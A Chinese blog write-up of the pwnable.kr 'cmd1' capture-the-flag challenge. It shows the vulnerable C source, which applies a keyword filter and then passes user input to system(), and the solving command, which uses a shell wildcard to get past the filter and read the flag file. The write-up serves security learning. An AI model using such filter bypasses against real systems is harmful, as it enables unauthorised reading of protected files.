pwnable.kr [Toddler's Bottle] - cmd1

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

没搞懂这题和环境变量有什么关联,不过还是要珍惜这最后一道水题。

先看源码 cmd1.c:

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    printf("r= %d", r);
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/fuckyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

上述代码段意为 argv[1] 中不含 “flag”,”sh”,”tmp”,就可以让系统执行 argv[1] 所含字串表示的命令。

注 1. strstr( str1, str2 ) 函数功能为判断 str2 是否为 str1 的子串,是则返回 str2 在 str1 中首次出现的地址;否则返回 NULL 。
注 2. putenv(char *envvar) 用来改变或增加环境变量的内容。参数envvar的格式为envvar=value,如果该环境变量原先存在,则变量内容会依参数envvar改变,否则此参数内容会成为新的环境变量。参数envvar指定的字符串会变成环境变量的一部分,如果修改这个字符串,环境变量也会跟着被修改。

这里调用 putenv 的作用大概只是让我们不能直接打命令而已?…(例如 ‘cat xxx’ 要变成 ‘/bin/cat xxx’)
我们期望执行的命令是 /bin/cat flag ,因为传递的参数中不能出现 “flag” ,所以我们可以用通配符, 构造命令:

cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla?"
mommy now I get what PATH environment is for :)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值